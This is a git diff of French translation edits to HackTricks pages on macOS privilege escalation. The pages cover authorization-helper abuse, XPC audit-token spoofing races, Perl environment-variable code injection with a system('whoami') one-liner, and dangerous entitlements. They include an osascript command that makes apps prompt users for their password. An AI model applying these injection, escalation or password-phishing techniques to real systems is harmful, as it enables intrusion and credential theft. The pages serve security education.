kAuthorizationRightRuleruleSpécifier des règles
kAuthorizationCommentcommentSpécifier des commentaires supplémentaires sur le droit
@@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess); return error; } ``` -Notez que pour vérifier les exigences pour obtenir le droit d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté `commandInfo`. Ensuite, elle appellera `AuthorizationCopyRights` pour vérifier si elle a le droit d'appeler la fonction (notez que les indicateurs permettent l'interaction avec l'utilisateur). +Notez que pour **vérifier les exigences pour obtenir le droit** d'appeler cette méthode, la fonction `authorizationRightForCommand` va simplement vérifier l'objet de commentaire précédemment mentionné **`commandInfo`**. Ensuite, elle appellera **`AuthorizationCopyRights`** pour vérifier **si elle a le droit** d'appeler la fonction (notez que les indicateurs permettent l'interaction avec l'utilisateur). -Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` est défini sur `@kAuthorizationRuleClassAllow`. Ainsi, n'importe qui peut l'appeler. +Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, le `kCommandKeyAuthRightDefault` est défini sur `@kAuthorizationRuleClassAllow`. Ainsi, **n'importe qui peut l'appeler**. ### Informations sur la base de données @@ -291,7 +291,7 @@ Si vous trouvez la fonction : **`[HelperTool checkAuthorization:command:]`**, il Ensuite, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154). -Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler une action privilégiée sans interaction utilisateur. +Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler certaines actions privilégiées sans interaction utilisateur. ### Communication de protocole @@ -299,7 +299,7 @@ Ensuite, vous devez trouver le schéma de protocole afin de pouvoir établir une La fonction **`shouldAcceptNewConnection`** indique le protocole exporté : -
+
Dans ce cas, nous avons la même chose que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). @@ -317,13 +317,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool @end [...] ``` -Pour finir, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec lui. Il existe plusieurs façons de le trouver : +Enfin, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec lui. Il existe plusieurs façons de le trouver : * Dans le **`[HelperTool init]`** où vous pouvez voir le service Mach utilisé : -
+
-* Dans le fichier launchd plist : +* Dans le plist de launchd : ```xml cat /Library/LaunchDaemons/com.example.HelperTool.plist @@ -427,13 +427,13 @@ NSLog(@"Finished!");
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index 62da4c325..640b1c836 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -2,13 +2,13 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -25,7 +25,7 @@ Si vous ne savez pas ce que sont les messages Mach, commencez par consulter cett {% endcontent-ref %} Pour l'instant, retenez que ([définition à partir d'ici](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)) : -Les messages Mach sont envoyés via un _port Mach_, qui est un canal de communication **un récepteur, plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus peuvent envoyer des messages** à un port Mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports Mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports Mach ils veulent utiliser. +Les messages Mach sont envoyés sur un _port Mach_, qui est un canal de communication à **un seul destinataire, plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus peuvent envoyer des messages** à un port Mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports Mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports Mach ils veulent utiliser. ## Connexion XPC @@ -39,7 +39,7 @@ Si vous ne savez pas comment une connexion XPC est établie, consultez : Ce qui est intéressant à savoir, c'est que **l'abstraction XPC est une connexion un à un**, mais elle est basée sur une technologie qui **peut avoir plusieurs expéditeurs, donc :** -* Les ports Mach sont un récepteur unique, **plusieurs expéditeurs**. +* Les ports Mach sont un destinataire unique, **plusieurs expéditeurs**. * Le jeton d'audit d'une connexion XPC est le jeton d'audit **copié du message le plus récemment reçu**. * Obtenir le **jeton d'audit** d'une connexion XPC est crucial pour de nombreux **contrôles de sécurité**. @@ -51,15 +51,15 @@ Bien que la situation précédente semble prometteuse, il existe des scénarios Deux méthodes différentes par lesquelles cela pourrait être exploité : 1. Variante 1 : -* L'**exploit** se connecte au service **A** et au service **B**. -* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas. +* L'**exploit** se **connecte** au service **A** et au service **B**. +* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas. * Le service **A** appelle **`xpc_connection_get_audit_token`** tout en étant _**pas**_ à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**. * Ainsi, un **message différent** pourrait **écraser le jeton d'audit** car il est envoyé de manière asynchrone en dehors du gestionnaire d'événements. * L'exploit transmet à **service B le droit d'ENVOI à service A**. * Ainsi, svc **B** enverra effectivement les **messages** au service **A**. * L'**exploit** tente d'**appeler** l'**action privilégiée**. Dans un RC, svc **A** **vérifie** l'autorisation de cette **action** tandis que **svc B a écrasé le jeton d'audit** (donnant à l'exploit l'accès pour appeler l'action privilégiée). 2. Variante 2 : -* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas. +* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas. * L'exploit se connecte avec le **service A** qui **envoie** à l'exploit un **message attendant une réponse** dans un **port de réponse** spécifique. * L'exploit envoie au **service** B un message passant **ce port de réponse**. * Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse de service B écrase le jeton d'audit au moment parfait (Condition de Course). @@ -68,7 +68,7 @@ Deux méthodes différentes par lesquelles cela pourrait être exploité : Scénario : -* Deux services Mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de sandbox et des vérifications d'autorisation avant d'accepter la connexion). +* Deux services Mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de bac à sable et des vérifications d'autorisation avant d'accepter la connexion). * _**A**_ doit avoir une **vérification d'autorisation** pour une action spécifique que **`B`** peut passer (mais notre application ne peut pas). * Par exemple, si B a des **privilèges** ou s'exécute en tant que **root**, il pourrait lui permettre de demander à A d'effectuer une action privilégiée. * Pour cette vérification d'autorisation, **`A`** obtient le jeton d'audit de manière asynchrone, par exemple en appelant `xpc_connection_get_audit_token` depuis **`dispatch_async`**. @@ -87,11 +87,11 @@ Pour effectuer l'attaque : 2. Former une **connexion secondaire** à `diagnosticd`. Contrairement à la procédure normale, au lieu de créer et d'envoyer deux nouveaux ports Mach, le droit d'envoi du port client est remplacé par une copie du **droit d'envoi** associé à la connexion `smd`. 3. En conséquence, les messages XPC peuvent être envoyés à `diagnosticd`, mais les réponses de `diagnosticd` sont redirigées vers `smd`. Pour `smd`, il semble que les messages de l'utilisateur et de `diagnosticd` proviennent de la même connexion. -![Image illustrant le processus de l'exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) +![Image illustrant le processus d'exploitation](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. La prochaine étape consiste à instruire `diagnosticd` d'initier la surveillance d'un processus choisi (potentiellement celui de l'utilisateur). Simultanément, une vague de messages 1004 de routine est envoyée à `smd`. L'intention ici est d'installer un outil avec des privilèges élevés. -5. Cette action déclenche une condition de course au sein de la fonction `handle_bless`. Le timing est crucial : l'appel de fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`. +5. Cette action déclenche une condition de concurrence dans la fonction `handle_bless`. Le timing est crucial : l'appel de fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`. -## Variante 2 : transfert de réponse +## Variante 2 : renvoi de réponse Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements n'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Deux méthodes distinctes existent pour envoyer des messages qui attendent une réponse : @@ -104,7 +104,7 @@ Pour exploiter cette vulnérabilité, la configuration suivante est requise : * Deux services mach, appelés **`A`** et **`B`**, qui peuvent tous deux établir une connexion. * Le service **`A`** devrait inclure une vérification d'autorisation pour une action spécifique que seul **`B`** peut effectuer (l'application de l'utilisateur ne peut pas). -* Le service **`A`** devrait envoyer un message qui attend une réponse. +* Le service **`A`** devrait envoyer un message qui anticipe une réponse. * L'utilisateur peut envoyer un message à **`B`** auquel il répondra. Le processus d'exploitation implique les étapes suivantes : @@ -117,7 +117,7 @@ Ci-dessous se trouve une représentation visuelle du scénario d'attaque décrit !\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) -
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
+
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
## Problèmes de découverte diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index 52b511d30..63816d0d1 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Via la variable d'environnement `PERL5OPT` & `PERL5LIB` -En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.\ +En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par Perl.\ Par exemple, créez ce script : {% code title="test.pl" %} @@ -31,7 +31,7 @@ Maintenant **exportez la variable d'environnement** et exécutez le script **per export PERL5OPT='-Mwarnings;system("whoami")' perl test.pl # This will execute "whoami" ``` -Une autre option est de créer un module Perl (par exemple `/tmp/pmod.pm`): +Une autre option est de créer un module Perl (par exemple, `/tmp/pmod.pm`): {% code title="/tmp/pmod.pm" %} ```perl @@ -42,7 +42,7 @@ system('whoami'); ``` {% endcode %} -Et ensuite utiliser les variables d'environnement : +Et ensuite utilisez les variables d'environnement : ```bash PERL5LIB=/tmp/ PERL5OPT=-Mpmod ``` @@ -64,13 +64,13 @@ Ce qui renverra quelque chose comme : /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Certains des dossiers retournés n'existent même pas, cependant, **`/Library/Perl/5.30`** existe, il n'est **pas** protégé par **SIP** et il est **avant** les dossiers **protégés par SIP**. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège le charge. +Certaines des dossiers retournés n'existent même pas, cependant, **`/Library/Perl/5.30`** **existe**, il n'est **pas** **protégé** par **SIP** et il est **avant** les dossiers **protégés par SIP**. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège les charge. {% hint style="warning" %} Cependant, notez que vous **devez être root pour écrire dans ce dossier** et de nos jours vous obtiendrez cette **invite TCC** : {% endhint %} -
+
Par exemple, si un script importe **`use File::Basename;`** il serait possible de créer `/Library/Perl/5.30/File/Basename.pm` pour exécuter du code arbitraire. @@ -84,7 +84,7 @@ Par exemple, si un script importe **`use File::Basename;`** il serait possible d Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 189889d32..ccd89a73c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -1,16 +1,16 @@ -# Autorisations macOS Dangereuses & Permissions TCC +# macOS Entitlements Dangereux & Autorisations TCC
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -18,7 +18,7 @@ Autres moyens de soutenir HackTricks : Notez que les autorisations commençant par **`com.apple`** ne sont pas disponibles pour les tiers, seul Apple peut les accorder. {% endhint %} -## Haut +## Élevé ### `com.apple.rootless.install.heritable` @@ -38,28 +38,28 @@ Cette autorisation permet à d'autres processus avec l'autorisation **`com.apple ### `com.apple.security.cs.debugger` -Les applications avec l'autorisation de l'outil de débogage peuvent appeler `task_for_pid()` pour récupérer un port de tâche valide pour les applications non signées et tierces avec l'autorisation `Get Task Allow` définie sur `true`. Cependant, même avec l'autorisation de l'outil de débogage, un débogueur **ne peut pas obtenir les ports de tâche** des processus qui **n'ont pas l'autorisation `Get Task Allow`**, et qui sont donc protégés par la Protection de l'Intégrité du Système. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). +Les applications avec l'Autorisation d'Outil de Débogage peuvent appeler `task_for_pid()` pour récupérer un port de tâche valide pour les applications non signées et tierces avec l'autorisation `Get Task Allow` définie sur `true`. Cependant, même avec l'autorisation d'outil de débogage, un débogueur **ne peut pas obtenir les ports de tâche** des processus qui **n'ont pas l'autorisation `Get Task Allow`**, et qui sont donc protégés par la Protection de l'Intégrité du Système. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger). ### `com.apple.security.cs.disable-library-validation` -Cette autorisation permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser d'un chargement de bibliothèque arbitraire pour injecter du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation). +Cette autorisation permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, ce qui permettrait à un attaquant d'abuser de certaines charges de bibliothèques arbitraires pour injecter du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). ### `com.apple.private.security.clear-library-validation` -Cette autorisation est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu de** **désactiver directement** la validation de la bibliothèque, elle permet au processus d'**appeler un appel système `csops` pour la désactiver**.\ +Cette autorisation est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu de désactiver directement** la validation de bibliothèque, elle permet au processus d'**appeler un appel système `csops` pour la désactiver**.\ Consultez [**ceci pour plus d'informations**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/). ### `com.apple.security.cs.allow-dyld-environment-variables` -Cette autorisation permet d'**utiliser les variables d'environnement DYLD** qui pourraient être utilisées pour injecter des bibliothèques et du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables). +Cette autorisation permet d'**utiliser des variables d'environnement DYLD** qui pourraient être utilisées pour injecter des bibliothèques et du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables). ### `com.apple.private.tcc.manager` ou `com.apple.rootless.storage`.`TCC` -[**Selon ce blog**](https://objective-see.org/blog/blog_0x4C.html) **et** [**ce blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ces autorisations permettent de **modifier** la base de données **TCC**. +[**Selon ce blog**](https://objective-see.org/blog/blog\_0x4C.html) **et** [**ce blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ces autorisations permettent de **modifier** la **base de données TCC**. ### **`system.install.apple-software`** et **`system.install.apple-software.standar-user`** -Ces autorisations permettent d'**installer des logiciels sans demander de permissions** à l'utilisateur, ce qui peut être utile pour une **escalade de privilèges**. +Ces autorisations permettent d'**installer des logiciels sans demander la permission** de l'utilisateur, ce qui peut être utile pour une **escalade de privilèges**. ### `com.apple.private.security.kext-management` @@ -67,11 +67,11 @@ Autorisation nécessaire pour demander au **noyau de charger une extension de no ### **`com.apple.private.icloud-account-access`** -Avec l'autorisation **`com.apple.private.icloud-account-access`**, il est possible de communiquer avec le service XPC **`com.apple.iCloudHelper`** qui fournira **des jetons iCloud**. +Avec l'autorisation **`com.apple.private.icloud-account-access`**, il est possible de communiquer avec le service XPC **`com.apple.iCloudHelper`** qui **fournira des jetons iCloud**. **iMovie** et **Garageband** avaient cette autorisation. -Pour plus **d'informations** sur l'exploitation pour **obtenir des jetons iCloud** à partir de cette autorisation, consultez la conférence : [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Pour plus d'**informations** sur l'exploit pour **obtenir des jetons iCloud** à partir de cette autorisation, consultez la présentation : [**#OBTS v5.0 : "Ce qui se passe sur votre Mac, reste sur iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) ### `com.apple.private.tcc.manager.check-by-audit-token` @@ -79,15 +79,15 @@ TODO: Je ne sais pas ce que cela permet de faire ### `com.apple.private.apfs.revert-to-snapshot` -TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment faire, envoyez une PR s'il vous plaît ! +TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour les contenus protégés par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît ! ### `com.apple.private.apfs.create-sealed-snapshot` -TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment faire, envoyez une PR s'il vous plaît ! +TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour les contenus protégés par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît ! ### `keychain-access-groups` -Cette autorisation liste les groupes de **trousseau** auxquels l'application a accès : +Cette liste d'autorisations répertorie les groupes de **trousseaux** auxquels l'application a accès : ```xml keychain-access-groups @@ -100,13 +100,13 @@ Cette autorisation liste les groupes de **trousseau** auxquels l'application a a ``` ### **`kTCCServiceSystemPolicyAllFiles`** -Donne les permissions d'**Accès complet au disque**, l'une des plus hautes permissions TCC que vous pouvez avoir. +Accorde les autorisations d'**Accès complet au disque**, l'une des autorisations les plus élevées de TCC que vous puissiez avoir. ### **`kTCCServiceAppleEvents`** -Permet à l'application d'envoyer des événements à d'autres applications qui sont couramment utilisées pour **l'automatisation des tâches**. En contrôlant d'autres applications, elle peut abuser des permissions accordées à ces autres applications. +Permet à l'application d'envoyer des événements à d'autres applications couramment utilisées pour **automatiser des tâches**. En contrôlant d'autres applications, elle peut abuser des autorisations accordées à ces autres applications. -Comme les faire demander le mot de passe de l'utilisateur : +Comme les amener à demander à l'utilisateur son mot de passe: {% code overflow="wrap" %} ```bash @@ -114,57 +114,57 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ``` {% endcode %} -Ou en les faisant exécuter des **actions arbitraires**. +Ou les faire effectuer des **actions arbitraires**. ### **`kTCCServiceEndpointSecurityClient`** -Permet, entre autres permissions, d'**écrire dans la base de données TCC de l'utilisateur**. +Permet, entre autres autorisations, d'**écrire dans la base de données TCC des utilisateurs**. ### **`kTCCServiceSystemPolicySysAdminFiles`** -Permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui change le chemin de son dossier personnel et permet donc de **contourner TCC**. +Permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui modifie le chemin de son dossier personnel et permet donc de **contourner TCC**. ### **`kTCCServiceSystemPolicyAppBundles`** -Permet de modifier des fichiers à l'intérieur du paquet d'applications (dans app.app), ce qui est **interdit par défaut**. +Permet de modifier des fichiers à l'intérieur des bundles d'applications (à l'intérieur de app.app), ce qui est **interdit par défaut**. -
+
